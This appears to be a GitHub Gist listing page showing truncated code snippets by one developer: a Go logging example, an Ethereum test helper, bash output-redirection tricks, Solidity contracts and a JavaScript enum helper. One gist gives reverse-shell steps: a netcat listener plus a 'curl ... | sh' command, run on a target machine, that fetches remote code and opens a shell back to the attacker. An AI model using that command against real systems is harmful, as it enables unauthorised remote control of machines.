Skip to content

Instantly share code, notes, and snippets.

⌨️
keyboard shredding

Miguel Mota miguelmota

View GitHub Profile
@miguelmota
miguelmota / main.go
Created Mar 26, 2019
Golang logrus cut longest file path example
View main.go
package main
import (
"fmt"
"os"
"runtime"
"strings"
"github.com/sirupsen/logrus"
)
@miguelmota
miguelmota / mine.js
Created Mar 26, 2019
Truffle ganache increase time mine helper function
View mine.js
module.exports = async function mine(durationSeconds) {
return new Promise((resolve, reject) => {
web3.currentProvider.send({
jsonrpc: '2.0',
method: 'evm_increaseTime',
params: [durationSeconds],
id: Date.now()
}, (err, resp) => {
if (err) {
return reject(err)
@miguelmota
miguelmota / reverse_shell.sh
Created Mar 25, 2019
Reverse shell on zeit
View reverse_shell.sh
# Reverse Shell
# https://shell.now.sh
#
# 1. On your machine:
# nc -l 1337
#
# 2. On the target machine:
# curl https://shell.now.sh/yourip:1337 | sh
#
@miguelmota
miguelmota / exec_append_log.sh
Created Mar 24, 2019
Bash exec append stdout and stderr to log file
View exec_append_log.sh
# append both stdout and stderr to script log in right order
exec >> >(tee -a script.log) 2>&1
@miguelmota
miguelmota / pipe_fd3.sh
Last active Mar 24, 2019
Bash pipe to file descriptor 3
View pipe_fd3.sh
# not supported by all platforms
command | tee /dev/fd/3
# cross-platform compatible using process substitution (recommended)
command > >(tee >(cat >&3))
@miguelmota
miguelmota / tcp_pipe.sh
Last active Mar 24, 2019
Bash pipe exec stderr and stderr to file descriptor which is an open tcp socket
View tcp_pipe.sh
exec 3<>/dev/tcp/127.0.0.1/1337 && head -1 <&3
exec &> >(tee >(cat >&3))
# netcat equivalent:
# exec > >(nc localhost 1337) 2>&1
@miguelmota
miguelmota / pipe.sh
Last active Mar 24, 2019
Bash command tee stderr and stderr
View pipe.sh
command | tee >(cat 1>&2)
# 1>&2 means pipe stdout to stderr
# >() means process substitution so to treat it as a file (because `tee 1>&2` is not possible)
@miguelmota
miguelmota / notes.txt
Created Mar 24, 2019
ZeppelinOS notes
View notes.txt
pragma solidity ^0.5.0;
import "zos-lib/contracts/Initializable.sol";
contract MyContract is Initializable {
uint256 public x;
string public s;
// the 'initializer' modifier prevents the function from being called more than once.
@miguelmota
miguelmota / MyContract.sol
Created Mar 24, 2019
Solidity calldata example
View MyContract.sol
pragma solidity >=0.4.21 <0.6.0;
pragma experimental ABIEncoderV2;
import "zos-lib/contracts/Initializable.sol";
import "./SafeMath.sol";
import "./Roles.sol";
import "./Polls.sol";
contract MyContract is Initializable {
using SafeMath for uint256;
@miguelmota
miguelmota / iota.js
Created Mar 22, 2019
Node.js iota (Golang iota equivalent)
View iota.js
const iota = (() => { let n = 0; return () => n++ })()
const myEnum = {
foo: iota(), // 0
bar: iota(), // 1
baz: iota(), // 2
qux: iota(), // 3
}
You can’t perform that action at this time.